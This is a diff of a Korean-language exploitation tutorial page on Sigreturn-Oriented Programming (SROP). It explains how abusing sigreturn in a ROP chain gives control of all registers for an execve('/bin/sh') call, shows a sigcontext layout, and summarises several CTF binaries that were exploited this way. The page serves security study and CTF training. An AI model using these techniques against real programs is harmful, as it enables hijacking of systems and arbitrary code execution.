-**`Sigreturn`**은 주로 **시그널 핸들러가 실행을 완료한 후 정리하는 데 사용되는 특수 **시스콜**입니다. 시그널은 운영 체제가 프로그램에 보내는 중단으로, 일반적으로 어떤 예외 상황이 발생했음을 나타냅니다. 프로그램이 시그널을 수신하면 현재 작업을 일시 중지하고 시그널을 처리하기 위해 **시그널 핸들러**라는 특수 함수를 사용합니다.
+**`Sigreturn`**은 주로 **시그널 핸들러**가 실행을 완료한 후 정리하는 데 사용되는 특수한 **시스템 호출**입니다. 시그널은 운영 체제가 프로그램에 보내는 중단으로, 일반적으로 어떤 예외 상황이 발생했음을 나타냅니다. 프로그램이 시그널을 수신하면 현재 작업을 일시 중지하여 **시그널 핸들러**로 시그널을 처리하는 특수 함수로 이동합니다.
시그널 핸들러가 완료되면 프로그램은 아무 일도 일어나지 않은 것처럼 **이전 상태로 복귀해야** 합니다. 이때 **`sigreturn`**이 필요합니다. 이는 프로그램이 **시그널 핸들러에서 반환**하고 시그널 핸들러에서 사용된 **스택 프레임**(함수 호출 및 로컬 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다.
-흥미로운 부분은 **`sigreturn`**이 프로그램의 상태를 복원하는 방법입니다: **CPU의 모든 레지스터 값을 스택에 저장**합니다. 시그널이 더 이상 차단되지 않으면 **`sigreturn`이 이러한 값을 스택에서 팝**하여 CPU의 레지스터를 효과적으로 시그널을 처리하기 전의 상태로 재설정합니다. 이는 스택 포인터 레지스터(RSP)를 포함하여 CPU의 레지스터를 모두 포함합니다.
+흥미로운 부분은 **`sigreturn`**이 프로그램의 상태를 복원하는 방법입니다: **CPU의 모든 레지스터 값을 스택에 저장**합니다. 시그널이 더 이상 차단되지 않으면 **`sigreturn`이 이러한 값을 스택에서 팝**하여 CPU의 레지스터를 효과적으로 시그널 처리 전의 상태로 재설정합니다. 이는 스택의 현재 최상위를 가리키는 스택 포인터 레지스터(RSP)를 포함합니다.
{% hint style="danger" %}
-ROP 체인에서 **`sigreturn`** 시스콜을 호출하고 **원하는 레지스터 값을 스택에 추가**하여 모든 레지스터 값을 **제어**하고 따라서 예를 들어 `/bin/sh`로 `execve` 시스콜을 호출할 수 있습니다.
+ROP 체인에서 **`sigreturn`** 시스템 호출을 수행하고 **레지스터 값**을 **스택**에 로드하면 모든 레지스터 값을 **제어**할 수 있으며 따라서 예를 들어 `/bin/sh`를 사용하여 `execve` 시스템 호출을 호출할 수 있습니다.
{% endhint %}
-이는 다른 Ret2syscalls를 호출하기 위해 매개변수를 쉽게 제어할 수 있는 **Ret2syscall 유형**입니다:
+이는 다른 Ret2syscall을 호출할 때 매개변수를 제어하기가 훨씬 쉬운 **Ret2syscall 유형**일 것임을 유의하십시오:
-{% content-ref url="rop-syscall-execv.md" %}
-[rop-syscall-execv.md](rop-syscall-execv.md)
+{% content-ref url="rop-syscall-execv/" %}
+[rop-syscall-execv](rop-syscall-execv/)
{% endcontent-ref %}
-호기심이 있다면 나중에 값을 복구하기 위해 스택에 저장된 **sigcontext 구조**를 살펴보세요(여기서 다이어그램 참조: [**여기**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
+호기심이 있다면 나중에 값을 복구하기 위해 스택에 저장된 **sigcontext 구조**를 확인할 수 있습니다(여기서 다이어그램 참조: [**여기**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@@ -68,9 +68,13 @@ ROP 체인에서 **`sigreturn`** 시스콜을 호출하고 **원하는 레지스
| __reserved | sigmask |
+--------------------+--------------------+
```
+더 나은 설명을 위해 여기를 확인하세요:
+
+{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
+
## 예시
-[**여기에서 예시를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) 여기서 signeturn 호출이 ROP를 통해 구성되었으며 (rxa에 값 `0xf`을 넣음), 그러나 이것은 거기서의 최종 악용입니다:
+[**여기에서 예시를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) 여기서 signeturn 호출이 ROP를 통해 구성되었습니다 (rxa에 값 `0xf`를 넣음). 그러나 이겪은 거기서의 최종 exploit입니다:
```python
from pwn import *
@@ -135,10 +139,10 @@ target.interactive()
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
-* **스택에 쓰고** **`sigreturn`** 시스템 호출을 하는 어셈블리 바이너리. **sigreturn** 구조체를 통해 **[**ret2syscall**](rop-syscall-execv.md)**를 스택에 쓰고 이를 통해 바이너리 메모리 내부에 있는 플래그를 읽을 수 있습니다.
+* **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 수행하는 어셈블리 바이너리입니다. **sigreturn** 구조를 통해 **`ret2syscall`**을 스택에 쓰고 이를 통해 바이너리 메모리 내에 있는 플래그를 읽을 수 있습니다.
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
-* **스택에 쓰고** **`sigreturn`** 시스템 호출을 하는 어셈블리 바이너리. **sigreturn** 구조체를 통해 **[**ret2syscall**](rop-syscall-execv.md)**를 스택에 쓰고(바이너리에는 `/bin/sh` 문자열이 포함되어 있음).
+* **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 수행하는 어셈블리 바이너리입니다. **sigreturn** 구조를 통해 **`ret2syscall`**을 스택에 쓸 수 있습니다(바이너리에는 `/bin/sh` 문자열이 포함되어 있음).
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
-* 64비트, relro 없음, 캐너리 없음, nx, pie 없음. `gets` 함수를 남용하는 간단한 버퍼 오버플로우로 **[**ret2syscall**](rop-syscall-execv.md)**를 수행하는 가젯이 부족한 어셈블리 바이너리. ROP 체인은 다시 gets를 호출하여 `.bss`에 `/bin/sh`를 쓰고, **`alarm`** 함수를 악용하여 eax를 `0xf`로 설정하여 **SROP**를 호출하고 셸을 실행합니다.
+* 64비트, relro 없음, 캐너리 없음, nx, pie 없음. `gets` 함수를 남용하는 간단한 버퍼 오버플로우로 **`ret2syscall`**을 수행하는 가젯이 부족합니다. ROP 체인은 다시 gets를 호출하여 `.bss`에 `/bin/sh`를 쓰고, **`alarm`** 함수를 남용하여 eax를 `0xf`로 설정하여 **SROP**을 호출하고 셸을 실행합니다.
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
-* 64비트 어셈블리 프로그램, relro 없음, 캐너리 없음, nx, pie 없음. 흐름은 스택에 쓰고 여러 레지스터를 제어하고 시스템 호출을 하고 나서 `exit`를 호출합니다. 선택된 시스템 호출은 `sigreturn`이며 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하고 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간으로 설정합니다. 프로그램은 ESP를 다시 읽어들이지만 이 경우 ESP는 다음 명령어를 가리키게 되므로 셸코드를 전달하면 다음 명령어로 쓰여 실행됩니다.
+* 64비트 어셈블리 프로그램, relro 없음, 캐너리 없음, nx, pie 없음. 흐름을 통해 스택에 쓰고 여러 레지스터를 제어하고 시스템 호출을 수행한 후 `exit`를 호출합니다. 선택된 시스템 호출은 `sigreturn`이며 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하고 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간에 설정합니다. 프로그램은 ESP를 다시 읽어들이지만 이 경우 ESP는 다음 명령어를 가리키게 되므로 셸코드를 전달하여 다음 명령어로 쓰고 실행합니다.